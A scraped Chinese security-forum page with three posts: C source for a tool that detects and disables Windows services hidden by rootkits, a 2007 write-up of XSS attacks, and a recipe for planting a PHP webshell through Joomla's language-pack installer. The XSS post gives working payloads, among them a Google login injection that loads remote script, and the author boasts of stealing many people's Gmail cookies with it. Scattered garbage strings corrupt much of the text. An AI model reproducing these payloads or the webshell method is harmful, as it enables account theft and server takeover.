。3.将程序中唯一的一处使用snprintf函数该为_snprintf,即snprintf(path,maxlen,"(...)%s",tmp);改为_snprintf(ptth,maxlen,”(…)%s”,tmp);4.添加两个VC不支持的函数来使编译通过void bzero(void *s,int n){     memset(s,0,n);       }int strncasecmp(const char *s1, const char *s2, size_t n){return _stricmp(s1,s2);}    为了表示对Petter Nordahl-Hagen的尊重,我不再修改他的库文件ntreg.c和ntreg.h(除了以上移植的需要),而是将所有需要重写和添加的函数放到KHS.C文件中,这样可以使原来的库文件保持其独立性。    由于在Petter库中openHive函数使用open 和 read 函数来进行hive文件的读取,在VC条件下的read函数有一个问题,每当文件中存在一个0x1a的二进制数值时,read函数就会在那儿终止,这样就会导致hive文件无法完全导入。所以就使用了Windows API重写openHive,命名为My_openHive。相应的还重写了closeHive,writeHive并加上了前缀My_。    随后GetPatterns函数将使用RegEnumKey枚举的服务键值名称保存在pattern的全局变量指针中,为以后的匹配作准备。ShowHideService函数是由nk_ls函数改写的,将由Hive文件导出的buffer中的服务名称与pattern[I]作比较,这个比较过程使用CompareHive函数。若比较结果为相同,CompareHive会将pattern[I]置为NULL,以提高匹配速度,或许有更好的匹配算法,但在这个小程序中也不使用了。若结果不同,则说明该服务是隐藏的,显示出该隐藏服务的名称,文件路径(ShowPathImage是由cat_vk改写的),启动类型和服务类型,并将该隐藏服务的启动类型改为SERVICE_DISABLED。如果存在隐藏服务并且禁止了该隐藏服务(仅在buffer中的修改),通过调用My_writeHive将修改过的hive 的buffer保存在C:        mp2.hiv文件中,此时提供用户一个选择“是否要禁用隐藏服务”,默认的选择是“否”,如果用户确实想要禁用,可输入“Yes”或“Y",接着使用RestoreServiceInfo函数将C:        mp2.hiv文件导回原来的%SystemRoot%/System32/Config/System这个Hive文件中,这一步由系统自己来完成,值得一提的是Win32函数RegRestoreKey即使在dwFlags参数中使用了REG_FORCE_RESTORE (8) ,在第一次调用时往往会错误返回,一般在第二次调用就会成功,所以就使用了一个循环直到它成功后为止,并且调用它的进程需要有SE_RESTORE_NAME的权限。    至于让隐藏服务真正失去作用,仍然需要重新启动计算机之后。下面给出KHS.C的完整源代码:/* * KHS.cpp - Kill Hide Services v0.1* Copyright (c) 2005 linux2linux.** It takes notes from knlsc and FHS.* Thank you, Petter Nordahl-Hagen, for your "NT Registry Hive access library"** Freely distributable in source or binary for noncommercial purposes.*  * THIS SOFTWARE IS PROVIDED BY PETTER NORDAHL-HAGEN `AS IS'' AND* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE* ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF* SUCH DAMAGE.**/         #include "ntreg.h"#include <windows.h>char **pattern;int pattern_count;int nohideservice;int ischange;extern char *val_types[REG_MAX+1];struct hive *My_openHive(char *filename, int mode);void My_closeHive(struct hive *hdesc);int CompareHive(char *sample){      int i;      for(i = 0; i < pattern_count ; i++)      {                     if(pattern!=NULL)           {                 if( strcmp ( sample , pattern[ i ] ) == 0 )                 {                      free(pattern);                      pattern=NULL;                      return 1;                 }           }      }      return 0;}//Because read can't work well in windows.//while it read 0x1a from the opened file, the function read will stop there.//I don't know the reason why, it work well in linux envoriment.// read the dumped hive file to fill hive struct.// return the pointstruct hive *My_openHive(char *filename, int mode){  HANDLE hFile;  int szread;  struct hive *hdesc;  int vofs;  unsigned long pofs;  char *c;  struct hbin_page *p;  struct regf_header *hdr;  int verbose = (mode &amp; HMODE_VERBOSE);  CREATE(hdesc,struct hive,1);  hdesc->filename = str_dup(filename);  hdesc->state = 0;  hdesc->size = 0;  hdesc->buffer = NULL;    hFile = CreateFile(hdesc->filename,        GENERIC_READ,                 // open for reading     0,                            // do not share     NULL,                         // no security     OPEN_ALWAYS,                // existing file only     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);                                   // no attr. template   if (hFile == INVALID_HANDLE_VALUE)   {     printf("Could not open hive file.");  // process error       return 0;  }    /* Read the whole file */  hdesc->size = GetFileSize(hFile,  NULL);  ALLOC(hdesc->buffer,1,hdesc->size);  ReadFile(hFile, (void *)hdesc->buffer, hdesc->size, &amp;szread, NULL);  CloseHandle(hFile);  if (szread < hdesc->size) {    printf("Could not read file, got %d bytes while expecting %d
/ O, c, k: M" ?2 U",          szread, hdesc->size);    My_closeHive(hdesc);    return(NULL);  }  /* Now run through file, tallying all pages */  /* NOTE/KLUDGE: Assume first page starts at offset 0x1000 */   pofs = 0x1000;   hdr = (struct regf_header *)hdesc->buffer;   if (hdr->id != 0x66676572) {     printf("openHive(%s): File does not seem to be a registry hive!! R$ b% q  B& {; D/ s" k7 p- l
",filename);     return(hdesc);   }   for (c = hdr->name; *c &amp;&amp; (c < hdr->name + 64); c += 2) putchar(*c);   hdesc->rootofs = hdr->ofs_rootkey + 0x1000;     while (pofs < hdesc->size) {#ifdef LOAD_DEBUG          if (verbose) hexdump(hdesc->buffer,pofs,pofs+0x20,1);#endif     p = (struct hbin_page *)(hdesc->buffer + pofs);     if (p->id != 0x6E696268) {       printf("Page at 0x%lx is not 'hbin', assuming file contains garbage at end",pofs);       break;     }     hdesc->pages++;#ifdef LOAD_DEBUG     if (verbose) printf("
' m+ ^4 D) c( U! U9 ^0 g. _###### Page at 0x%0lx has size 0x%0lx, next at 0x%0lx ######
9 I) s- Y' d- o",pofs,p->len_page,p->ofs_next);#endif     if (p->ofs_next == 0) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: bailing out.. pagesize zero!
2 H- P7 S( |3 o; @; v");#endif       return(hdesc);     }#if 0     if (p->len_page != p->ofs_next) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: len &amp; ofs not same. HASTA!0 L  ^$ ~; w0 G9 [: R0 u8 f! H2 Z
");#endif       exit(0);     }#endif     vofs = pofs + 0x20; /* Skip page header */#if 1     while (vofs-pofs < p->ofs_next) {       vofs += parse_block(hdesc,vofs,verbose);     }#endif     pofs += p->ofs_next;   }  return(hdesc);}void My_closeHive(struct hive *hdesc){  FREE(hdesc->filename);  FREE(hdesc->buffer);  FREE(hdesc);}int My_writeHive(struct hive *hdesc){  HANDLE hFile;  DWORD dwBytesWritten;  hFile = CreateFile("C:\tmp2.hiv",      GENERIC_WRITE,                // open for writing     0,                            // do not share     NULL,                         // no security     CREATE_ALWAYS,                  // open or create     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);   if(hFile == INVALID_HANDLE_VALUE)  {      printf("Can't open dump file");           return 0;  }  WriteFile(hFile, hdesc->buffer, hdesc->size,&amp;dwBytesWritten, NULL);   if(dwBytesWritten != hdesc->size)  {        printf("WriteHive error
3 g& ^) n. C, ?5 z- P* p9 o");  }  CloseHandle(hFile);  return 0;}void CleanPatterns(){      int i;      if(pattern!=NULL)      {           for(i = 0; i < pattern_count; i++)           {                 if(pattern!=NULL)                      free(pattern);           }           free(pattern);      }}void GetPatterns(){      HANDLE hService;      CHAR     achKey[MAX_PATH];      DWORD i;      DWORD retCode;      int Nohide = 1;      DWORD SubKeyNum = 0;      pattern_count = 0;      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("sorry %d% e8 @0 j* v$ q
",GetLastError());           return;      }    RegQueryInfoKey( hService,        NULL,        NULL,        NULL,        &amp;SubKeyNum,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL);      //Before it don't work well , because i set the wrong premission of HKEY      //KEY_ALL_ACCESS is needed      if(SubKeyNum == 0)      {           printf("SubKey's Number is NULL, it's too strange.
( c5 F* a0 p0 n");           return;      }      pattern = malloc(sizeof(char *) * SubKeyNum );      for (i = 0, retCode = ERROR_SUCCESS; retCode == ERROR_SUCCESS; i++)     {         retCode = RegEnumKey(                 hService,      // handle to key to query                 i,  // index of subkey to query                 achKey,  // buffer for subkey name                 MAX_PATH   // size of subkey name buffer                 );                   if (retCode == (DWORD)ERROR_SUCCESS)         {          //What i add to get pattern Services Table.              pattern[ pattern_count ] = strdup ( achKey ) ;              pattern_count++;        }       }       CloseHandle(hService);}void ShowPathImage(struct hive *hdesc, int nkofs, char *path){       void *data;  int len,i,type;  char string[SZ_MAX+1];  type = get_val_type(hdesc, nkofs, path);  if (type == -1) {    printf("No such value <%s>: Z2 u6 b3 N8 E* C- A; e' g
",path);    return;  }  len = get_val_len(hdesc, nkofs, path);  if (!len) {    printf("Value <%s> has zero length
# M5 Z' y7 B* p1 o5 s",path);    return;  }  data = (void *)get_val_data(hdesc, nkofs, path, 0);  if (!data) {    printf("Value <%s> references NULL-pointer (bad boy!)! f! y- M8 a; @: \4 P
",path);    abort();    return;  }  switch (type) {  case REG_SZ:  case REG_EXPAND_SZ:  case REG_MULTI_SZ:    cheap_uni2ascii(data,string,len);    for (i = 0; i < (len>>1)-1; i++) {      if (string == 0) string = '  }$ ]3 j* A. Y. q& C5 y
';      if (type == REG_SZ) break;    }    puts(string);    break;  case REG_DWORD:    printf("0x%08x",*(unsigned short *)data);    break;  default:    printf("Don't know how to handle type yet!
! q2 E+ F! m% q) L* ~. v");  case REG_BINARY:    hexdump((char *)data, 0, len, 1);  }}void EnablePriv(LPCTSTR lpName){      HANDLE hToken;      LUID sedebugnameValue;      TOKEN_PRIVILEGES tkp;            if ( ! OpenProcessToken( GetCurrentProcess(),           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) )      {    printf("open process error- z, B1 U6 E! ?1 r
");           return;      }      if ( ! LookupPrivilegeValue( NULL, lpName  , &amp;sedebugnameValue ) ){                 printf("can't find privilege error
2 d$ s" d( _! l' @8 A" z9 R# P  q- y2 s");           CloseHandle( hToken );           return;      }      tkp.PrivilegeCount = 1;      tkp.Privileges[0].Luid = sedebugnameValue;      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;      if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof (tkp), NULL, NULL ) )      {           printf("adjust error
6 B+ U9 ~9 q7 Y) d! A");           CloseHandle( hToken );      }}int DumpServiceInfo(){      HKEY hService;      EnablePriv(SE_BACKUP_NAME);      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS, // security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {    printf("can't get key handle8 i- n* C: _8 m% v3 ~5 D
");           return 0;      }      if(RegSaveKey(hService,"C:\tmp.hiv",NULL) != ERROR_SUCCESS)      {               printf("Can't dump Service info
' I9 L( [/ S# q8 ~");           CloseHandle(hService);           return 0;      }      CloseHandle(hService);      return 1;}void ShowHideService(struct hive *hdesc, char *path, int vofs, int type){  struct nk_key *key;  int nkofs;  struct ex_data ex;  int count = 0, countri = 0;  //wHAT I ADD  void *data;  int nkofs_cat;  int serviceno;        serviceno = 1;  nkofs = trav_path(hdesc, vofs, path, 0);  if(!nkofs) {    printf("nk_ls: Key <%s> not found# U! ^  {  y  `+ M4 e: i
",path);    abort();    return;  }  nkofs += 4;  key = (struct nk_key *)(hdesc->buffer + nkofs);  if (key->id != 0x6b6e) {    printf("Error: Not a 'nk' node!: c* T0 b% @: s' A' Y! A5 ^/ e, ]
");    debugit(hdesc->buffer,hdesc->size);  }     if (key->no_subkeys) {        while ((ex_next_n(hdesc, nkofs, &amp;count, &amp;countri, &amp;ex) > 0)) {             if(!CompareHive(ex.name) )             {                   nohideservice = 0;                   if(!(serviceno - 1))                        printf("Hide Service List:
1 V3 e, e$ I0 o$ ]  s5 E");                    printf("
0 {# q% x5 w& J8 v& U%d.------------------------------------------------------------
# n, N* o9 H# {$ I' b: I/ A",serviceno++ );                   printf("Hide Service : %s; q. P) Q3 _' ?5 `
", ex.name );                   nkofs_cat = trav_path(hdesc, vofs, ex.name, 0);                   printf("Image Path   : ");                   ShowPathImage(hdesc, nkofs_cat + 4, "ImagePath");                   data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Start", 0 );                   if( data != NULL)                   {                           printf("Start Type   : ");                        switch(*(unsigned short *)data)                         {                        case 0:                              printf("SERVICE_BOOT_START");                              break;                        case 1:                              printf("SERVICE_SYSTEM_START");                              break;                        case 2:                              printf("SERVICE_AUTO_START");                              break;                        case 3:                              printf("SERVICE_DEMAND_START");                              break;                        case 4:                              printf("SERVICE_DISABLED");                              break;                        default:                              printf("UNKOWN START TYPE");                        }                                                //disable the service                                                if( *(unsigned short *)data != 4 )                        {                              printf("(Will be set to Disabled)");                              put_dword(hdesc, nkofs_cat + 4, "Start", 4);                              ischange = 1;                        }                                                 printf("
8 ?) `6 X" v- I' D");                                           }                                      data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Type", 0 );                   printf("Service Type : ");                   if( data != NULL)                   {                        if(*(unsigned short *)data &amp; 1)                             printf("SERVICE_KERNEL_DRIVER ");                                                      if(*(unsigned short *)data &amp; 2)                             printf("SERVICE_FILE_SYSTEM_DRIVER " );                                                  if(*(unsigned short *)data &amp; 8)                            printf("SERVICE_RECOGNIZER_DRIVER ");                                                    if(*(unsigned short *)data &amp; 16)                              printf("SERVICE_WIN32_OWN_PROCESS ");                                                   if(*(unsigned short *)data &amp; 32)                            printf("SERVICE_WIN32_SHARE_PROCESS ");                                                      if(*(unsigned short *)data &amp; 256)                            printf("SERVICE_INTERACTIVE_PROCESS ");                                                      printf(". K5 P. b" a4 `. L0 N# E0 c  c
");                    }             }             FREE(ex.name);    }  }  if(nohideservice)        printf("There are no hide services.9 k5 A5 [( k0 L2 a* J. o+ i, q2 P
");  else        printf("
- n$ f/ p5 C7 e" ]Total Hide Services is %d8 M* k) B& U4 `- O/ z4 h
/ [/ u; [6 p' s& p
",serviceno - 1);}int RestoreServiceInfo(){      HKEY hService;      LONG tmp;      EnablePriv(SE_RESTORE_NAME);            if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("Can't open Service key/ ^- t& W/ m0 d( ~
");           return 0;      }      //The first time to Restore always fail even you set the Force flag      //The second time will success.      for(;;)      {                     if((tmp = RegRestoreKey(hService,"C:\tmp2.hiv", 8 ) ) == ERROR_SUCCESS )           {                 break;           }      }      CloseHandle(hService);      return 1;}int main(int argc, char* argv[]){      struct hive *pHive;      char c;      nohideservice = 1;      ischange = 0;      printf("KHS - kill hide services 0.1 by linux2linux, 2005/5/26.
6 ^* x: k1 x. S, H+ L");      printf("Take notes from knlsc and FHS.                         " v" p' y! V" n3 i
/ U" a) G9 z; h/ p
");             if(!DumpServiceInfo())           return 0;      pHive = My_openHive("C:\tmp.hiv",HMODE_RW);      if(pHive == NULL)      {           printf("Open Hive fail* @+ m$ R& c2 U9 ?% n
");           return 0;      }      GetPatterns();      ShowHideService(pHive,"",pHive->rootofs + 4 , 0);      CleanPatterns();      if(!nohideservice &amp;&amp; ischange )      {                 My_writeHive(pHive);                 printf("Do you want Disable the hide Services ( Yes / No )? [ No ]:");                 c = getchar();                 if( ( c == 'Y' )|| c == 'y')                 {                      if( RestoreServiceInfo() )                            printf("Success Restore
% a8 |" e- R# D( h4 _% l");                 }                 else                 {    printf("Quit without Restore.5 e# v: h& P8 `, M( X
");                 }                 DeleteFile("C:\tmp2.hiv");      }      DeleteFile("C:\tmp.hiv");      My_closeHive(pHive);            return 0;}参考资源1.The Offline NT Password Editor 源程序 - Petter Nordahl-Hagenhttp://home.eunet.no/~pnordahl/ntpasswd/2.<<Windows NT/2000 Native API Reference>> - Gary Nebbett3.Knlsc, FHS, IceSword 使用说明 $ |( f: |+ Q& X7 |2 X) {
/ T- o5 V7 t5 o/ `
: U: e; |0 i- L
. b0 S7 i  o/ l' }) z$ Z) y- ^
8 G2 M: J& a: V3 h
6 H% [. @4 I5 l6 V6 n4 p: l0 u

8 D- |3 u$ \9 z. n% P" V
/ I- k) D& w' T) F" [, Q" ~6 n- q+ k- ?/ b$ Q, i- c# x  {
6 V" y. L! N. ~% Z

, N: D; c; D2 ]" @
0 h" R# d& [0 v& o5 b. P
5 C+ j. m: D$ S
4 N0 @" n) F" E6 y. j- c! e. B$ [+ S8 H, T* k# t$ A- T% U, H% X, N
$ B7 k% M, f  ]( _$ R% k

) }4 X, S, e" M4 i. k* U/ \) q1 i8 O, G7 H

; Z! E1 M7 [  `% U公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

xss/csrf in penetration test
xss/csrf in penetration testauthor: superheidate: 2007-11-29team:http://www.ph4nt0m.orgblog:http://superhei.blogbus.com一.Owning Ha.ckers.org前段时间在Sirdarckcat和Kuza55一起"Owning Ha.ckers.org"中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:1.Sirdarckcat的 blog:http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html2.rSnake的blog:http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:getURL("javascript:alert('xss')", "_self", "GET");stop();在"Flash Lite 2.x ActionScript 语言参考"里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<getURL(url:String [, window:String [, method:String] ]) :Void.....method:String [可选] -- 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf 我们提交: xss.swf?a=0:0;eval(alert('xss'); as2里:getURL("javascript:alert('xss')?a=0:0;eval(alert('xss');", "_self", "GET");注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.demo: http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));成功完成了xss.在Sirdarckcat的poc里使用的是:<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="....[playload]"></iframe>这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;这个也就是eval(atob(window.name)).atob=decode base64这个又是他们的一个技巧,使用编码饶过一些检测 ..他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等....二.Owning Some-Hacks's Gmail也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie :)xss点:https://www.google.com/accounts/ServiceLogin?service=mail&amp;rm=false&amp;continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&amp;passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>';alert(document.getElementById("f").src);document.getElementById("f").style.width = 0;document.getElementById("f").style.height = 0;</script></body></html>我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http://60.190.243.111/superhei/ieav/phpcms.htm,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js的代码:getURL("
# `" _( y% l" k/ t) q: ^) |
& X- O- i! S2 ^2 E- J
. j% y# J' X2 \) {! ?. A2 r) i2 Q0 T( n8 x  j1 e

7 X1 V% x7 K. H9 }" Y" |- ?2 q2 p' U
6 I1 Q: n; [( M2 S6 g% J* o" q9 h7 y: z$ i; y: z

9 W" ~+ L: Y8 x( G1 ^4 N) }$ x2 G3 p: g4 O. m" K3 Z( I9 W
- o  R6 P) ]- M2 }0 I
! f0 l$ Q0 ]- p% a- u6 W
' F/ X6 ?! E3 p7 X
3 G" v5 d& _3 R# N' ?" |2 x  w& G; U2 n

! I8 r2 P. e# g7 e) L$ x5 s! D! d/ E2 V; O/ i9 C) Z
9 h* j8 z# m7 R3 U" C

2 G5 b4 D2 V2 ^4 p& e  i* v" i' I5 K1 j- Q* {+ ~

; @/ y- g+ e+ K' Q/ k+ z* N公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

joomla CMS所有版本后台取WebShell方法
后台有个专门更新插件的接口,只支持上传ZIP文件。
! v1 Y" u0 d% `7 ~' I1 D
下载了一个中文语言包ZIP格式的,解压出来如下:

) {, z" z/ D  {9 p0 N# I
pkg_zh_CN.xml 代码如下:

) S3 J9 w9 k  h. |9 y
<?xml version="1.0" encoding="UTF-8" ?>
. |* m, D6 V5 f+ e/ ^( s/ G<!-- $Id: zh-CN.install.xml 216 2011-03-08 06:44:51Z tchyusuf $ -->
, q; f, g! _+ K# [2 H; l<extension type="package" version="1.6">: q+ p4 D' l7 A! F3 Y
      <name>Simplified Chinese Language Pack</name>: m; I0 E1 [. w4 A* I# n# V
        <tag>zh-CN</tag>; ^2 [" y$ N8 p* T7 C5 v4 C
      <packagename>zh-CN</packagename>
' h6 ~; f( `" X3 [      <version>1.6.1</version>8 a" }3 L) y; Y. j9 A% ~8 b
        <creationDate>2011-03-12</creationDate>
* |6 o$ ^- d' _* V0 C        <author>CHN Translation Team</author>$ L* M8 s& p8 Z0 O+ V2 e$ |
        <authorEmail>zhous1998@sohu.com</authorEmail>% S6 y" L+ A0 ^( u" ]( ~
        <authorUrl>www.joomla.cn</authorUrl>
5 r3 A  x) w5 V        <copyright>Copyright (C) 2010 CHN Joomla Translation Team  

3 |, }( s/ q' k+ x. p, i
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>: ]  J/ x" D8 @
        <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>  T+ h0 t' I. A
        <description>) ?2 z$ u: `% l, y4 o6 d4 F6 j/ x( {& z$ D
        </description>
) Z/ z. x: @3 H. F. L  <files>
$ H: C8 C7 E. G+ @4 L        <file type="language" client="site" id="zh-CN">site_zh-CN.zip</file>
  U- v6 C. n  \2 G* q        <file type="language" client="admin" id="zh-CN">admin_zh-CN.zip</file>6 P& W: u9 J) P2 P
  </files>
' C) X* @9 P/ b% u, h</extension>) E4 _, m$ W/ _) B; K9 r

& _+ G; Y* h6 n  o8 |7 O
升级或者更新插件读取XML里面的 site_zh-CN.zip 和 admin_zh-CN.zip0 s* s0 F: d7 Z2 W4 f" y
解压 admin_zh-CN.zip install.xml 里面的代码:
4 L7 y- U! q* _
install.xml:
" R. U5 X4 [+ U9 x+ x) y# h( m* E
<?xml version="1.0" encoding="utf-8"?>0 @' ~0 ]- ?/ y3 _! V
<install type="language" version="1.6" client="administrator" method="upgrade">
6 J; w2 Q$ B' f0 E( @  B        <name>简体中文</name>4 [1 G6 h' f2 l# ^
        <tag>zh-CN</tag>
- z. y, f1 @8 T1 b8 H; C5 s2 A" l        <version>1.6.1</version>/ W) ^2 C! Y) R6 \/ M" O
        <creationDate>2011-03-08</creationDate>. u( j3 g5 o. N4 q
        <author>Derek Joe(zhous)</author>
* Z' k( D  M  F  `/ Q/ V! e3 q2 Q        <authorEmail>zhous1998@sohu.com</authorEmail>3 q1 r$ z. Q7 M1 C
        <authorurl>www.joomla.cn</authorurl>& W/ w" i5 }1 W* C: D* V: J! w
        <copyright>Copyright (C) 2010 CHN Joomla Translation

  s( T/ y9 y2 n% S( R4 J- s
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>5 u9 |  @! ~) P) D# w; _/ v
        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>4 H6 a+ ~4 @3 G; F- K1 y
        <description>& ?) d& O7 @4 y2 T5 Q+ v4 a
        </description>
# P7 f9 i8 M7 c9 Y7 g6 g
        <files>
* T$ E" X3 o5 y; i                <filename>index.html</filename>' ^6 _# _& R8 l$ j, N" i/ U) X
                <filename>zh-CN.com_admin.ini</filename>: Q4 y5 l5 x: v6 s
                <filename>zh-CN.com_admin.sys.ini</filename>
" z5 ?* N; X) ?4 @2 K2 s" M                <filename>zh-CN.com_banners.ini</filename>+ q2 |/ R  `" [+ N' w; C6 A& S
                <filename>zh-CN.com_banners.sys.ini</filename>
; o8 I9 o4 B6 A2 g! R) [. t                <filename>zh-CN.com_cache.ini</filename>  A, c/ m) E6 R6 a3 n: s2 S. {
                <filename>zh-CN.com_cache.sys.ini</filename>
) D( F- N" f2 K/ H" q                <filename>zh-CN.com_categories.ini</filename>7 ^" f" V0 t* p% U/ q) J/ J
                <filename>zh-CN.com_categories.sys.ini</filename>" C9 s* g3 q: a/ H* D2 h% c
                <filename>zh-CN.com_checkin.ini</filename>& a* d' {) F2 z4 w0 K6 i
                <filename>zh-CN.com_checkin.sys.ini</filename>
' b6 T, b+ ]; W5 c; R) D7 y- m2 B+ X                <filename>zh-CN.com_config.ini</filename>
! _0 m8 e. d6 n! P2 R# g' t# v% V- ~                <filename>zh-CN.com_config.sys.ini</filename>
7 v: l" k+ X5 r5 t& F7 q                <filename>zh-CN.com_contact.ini</filename>
# g; Y8 ]( P/ L1 m* y0 o                <filename>zh-CN.com_contact.sys.ini</filename>+ X# G6 P7 Q! d
                <filename>zh-CN.com_content.ini</filename>
% A- o+ m' S( q: a8 V                <filename>zh-CN.com_content.sys.ini</filename>
  i  w, ^3 l4 [1 g5 p9 q                <filename>zh-CN.com_cpanel.ini</filename>
; d- w* P  z" {" q1 L% u ' `0 J2 n* D2 O
在代码下面加上:

$ D" j9 v: g% Y- e4 h9 C
<filename>>xxxxxx.php</filename>

! b5 f1 H) l6 ^) u) a8 S4 y
然后再里面创建一个 xxxxxx.php 写上你的大马,打包记得一下要是ZIP文件,否则不能上传。

0 d; e+ R$ `. B$ x' H2 ]# A6 P, i" z  E5 O
替换掉原来的 admin_zh-CN.zip,然后再进行打包 site_zh-CN.zip 和 admin_zh-CN.zip。上传安装,你
" C1 _& C) @6 \) d
的 xxxxxx.php 会解压到目录:

( C. H" y; `5 {) ]
administratorlanguagezh-CN
& j! K4 L- ]1 X. [6 o% w
得到 WebShell 的地址:

/ V0 M% z- A" o$ b7 r
http://www.sitedirsec.com/administrator/language/zh-CN/xxxxxx.php
3 T! `% R- h0 i, A1 I7 }

- _  `) q# G3 i, ]
! ^0 w+ R* |5 @
) D6 r- E# @+ o+ H# Z
3 ]! B& W/ f0 n4 N" C; F. y/ `- n7 f( U" @+ f% i# a

1 F$ h  \- |- X/ X' ?* i% C+ A. P7 u2 V. Z. V& z0 J8 z' f+ P5 y
( M, @) o8 m' s0 ~8 {0 V( @# }

' W' ]$ P% i3 \( h% r* v3 {) S. L: z4 ~4 [9 a
5 [9 x/ B8 n; ^" y  C
% T8 K) c7 N4 k

: k, v" c; f- E$ v% }- Y
+ I( u/ W, K, N6 u- P
5 w* K* }, x- z0 l3 I
* t! y3 H8 |& d- S( o5 \( W( Y, V+ @3 t" C3 [  A3 L

0 ~( L. A+ Z: ~$ I' w  `公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表